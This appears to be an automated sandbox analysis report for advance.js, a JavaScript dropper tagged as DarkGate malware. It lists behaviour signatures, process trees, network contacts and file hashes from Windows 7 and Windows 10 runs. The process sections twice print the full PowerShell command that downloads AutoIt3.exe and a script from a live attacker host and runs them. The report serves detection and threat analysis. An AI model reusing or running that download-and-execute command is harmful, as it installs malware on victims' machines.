Analysis Overview
SHA256
0935ffbd6eb40f99494f748a513ac8272239d529c4b3930f07cdef620145d19d
Threat Level: Known bad
The file advance.js was found to be: Known bad.
Malicious Activity Summary
DarkGate
Blocklisted process makes network request
Downloads MZ/PE file
Checks computer location settings
Executes dropped EXE
Enumerates physical storage devices
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
Suspicious behavior: EnumeratesProcesses
Checks processor information in registry
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2023-10-27 15:40
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2023-10-27 15:40
Reported
2023-10-27 15:43
Platform
win7-20231023-en
Max time kernel
120s
Max time network
124s
Command Line
Signatures
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 2348 wrote to memory of 2600 | N/A | C:\Windows\system32\wscript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 2348 wrote to memory of 2600 | N/A | C:\Windows\system32\wscript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 2348 wrote to memory of 2600 | N/A | C:\Windows\system32\wscript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\advance.js
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ni 'C:/temp' -Type Directory -Force;cd 'C:/temp'; Invoke-WebRequest -Uri 'http://profitcentronline.com:2351' -OutFile 'AutoIt3.exe' -UserAgent 'curl/7.68.0';Invoke-WebRequest -Uri 'http://profitcentronline.com:2351/msiashzasyd' -OutFile 'ashzasyd.au3' -UserAgent 'curl/7.68.0';start 'AutoIt3.exe' -a 'ashzasyd.au3'"
Network
Files
memory/2600-4-0x000007FEF5AF0000-0x000007FEF648D000-memory.dmp
memory/2600-5-0x00000000028F0000-0x0000000002970000-memory.dmp
memory/2600-6-0x00000000028F0000-0x0000000002970000-memory.dmp
memory/2600-7-0x000000001B250000-0x000000001B532000-memory.dmp
memory/2600-9-0x0000000001F50000-0x0000000001F58000-memory.dmp
memory/2600-8-0x00000000028F0000-0x0000000002970000-memory.dmp
memory/2600-10-0x00000000028F0000-0x0000000002970000-memory.dmp
memory/2600-11-0x000007FEF5AF0000-0x000007FEF648D000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2023-10-27 15:40
Reported
2023-10-27 15:43
Platform
win10v2004-20231023-en
Max time kernel
138s
Max time network
155s
Command Line
Signatures
DarkGate
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Downloads MZ/PE file
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-3125601242-331447593-1512828465-1000\Control Panel\International\Geo\Nation | C:\Windows\system32\wscript.exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\temp\AutoIt3.exe | N/A |
Enumerates physical storage devices
Checks processor information in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 | C:\temp\AutoIt3.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString | C:\temp\AutoIt3.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 2304 wrote to memory of 1076 | N/A | C:\Windows\system32\wscript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 2304 wrote to memory of 1076 | N/A | C:\Windows\system32\wscript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 1076 wrote to memory of 4244 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\temp\AutoIt3.exe |
| PID 1076 wrote to memory of 4244 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\temp\AutoIt3.exe |
| PID 1076 wrote to memory of 4244 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\temp\AutoIt3.exe |
Processes
C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\advance.js
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ni 'C:/temp' -Type Directory -Force;cd 'C:/temp'; Invoke-WebRequest -Uri 'http://profitcentronline.com:2351' -OutFile 'AutoIt3.exe' -UserAgent 'curl/7.68.0';Invoke-WebRequest -Uri 'http://profitcentronline.com:2351/msiashzasyd' -OutFile 'ashzasyd.au3' -UserAgent 'curl/7.68.0';start 'AutoIt3.exe' -a 'ashzasyd.au3'"
C:\temp\AutoIt3.exe
"C:\temp\AutoIt3.exe" ashzasyd.au3
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 8.8.8.8.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 64.159.190.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 8.3.197.209.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 241.154.82.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | g.bing.com | udp |
| US | 204.79.197.200:443 | g.bing.com | tcp |
| US | 8.8.8.8:53 | profitcentronline.com | udp |
| US | 195.123.233.201:2351 | profitcentronline.com | tcp |
| US | 8.8.8.8:53 | 95.221.229.192.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 219.21.30.184.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 201.233.123.195.in-addr.arpa | udp |
| US | 195.123.233.201:2351 | profitcentronline.com | tcp |
| US | 8.8.8.8:53 | 50.23.12.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 206.23.85.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 1.208.79.178.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 126.20.238.8.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 48.229.111.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 25.73.42.20.in-addr.arpa | udp |
Files
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xpnliavj.5ds.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/1076-6-0x000001DDCA680000-0x000001DDCA6A2000-memory.dmp
memory/1076-7-0x00007FFFAA7F0000-0x00007FFFAB2B1000-memory.dmp
memory/1076-8-0x000001DDCA6B0000-0x000001DDCA6C0000-memory.dmp
memory/1076-9-0x000001DDCA6B0000-0x000001DDCA6C0000-memory.dmp
memory/1076-13-0x000001DDCA6B0000-0x000001DDCA6C0000-memory.dmp
memory/1076-14-0x00007FFFAA7F0000-0x00007FFFAB2B1000-memory.dmp
memory/1076-15-0x000001DDCA6B0000-0x000001DDCA6C0000-memory.dmp
memory/1076-16-0x000001DDCA6B0000-0x000001DDCA6C0000-memory.dmp
C:\temp\AutoIt3.exe
| MD5 | c56b5f0201a3b3de53e561fe76912bfd |
| SHA1 | 2a4062e10a5de813f5688221dbeb3f3ff33eb417 |
| SHA256 | 237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d |
| SHA512 | 195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c |
C:\temp\AutoIt3.exe
| MD5 | c56b5f0201a3b3de53e561fe76912bfd |
| SHA1 | 2a4062e10a5de813f5688221dbeb3f3ff33eb417 |
| SHA256 | 237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d |
| SHA512 | 195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c |
memory/1076-30-0x00007FFFAA7F0000-0x00007FFFAB2B1000-memory.dmp
C:\temp\ashzasyd.au3
| MD5 | c755b238783fc0cc423a75a4e4cdd98a |
| SHA1 | acc579c4b18a9fc78e2a5cef6ba22e5ea8a65a64 |
| SHA256 | f1042dd0bd4d4f2009d355a9bfaf858e9a56313c058104ae56c1580725d12e34 |
| SHA512 | acacd3f84761208561692d1f40ccc8804d3466ff73fb03a88dcee671625d77e3b170f722b870d825b86d306dc4144ed5f36681cf524bbb169dcb3ebb942fc19d |
memory/4244-33-0x0000000001970000-0x0000000001D70000-memory.dmp
memory/4244-34-0x0000000004A30000-0x0000000004D5A000-memory.dmp
memory/4244-35-0x0000000004A30000-0x0000000004D5A000-memory.dmp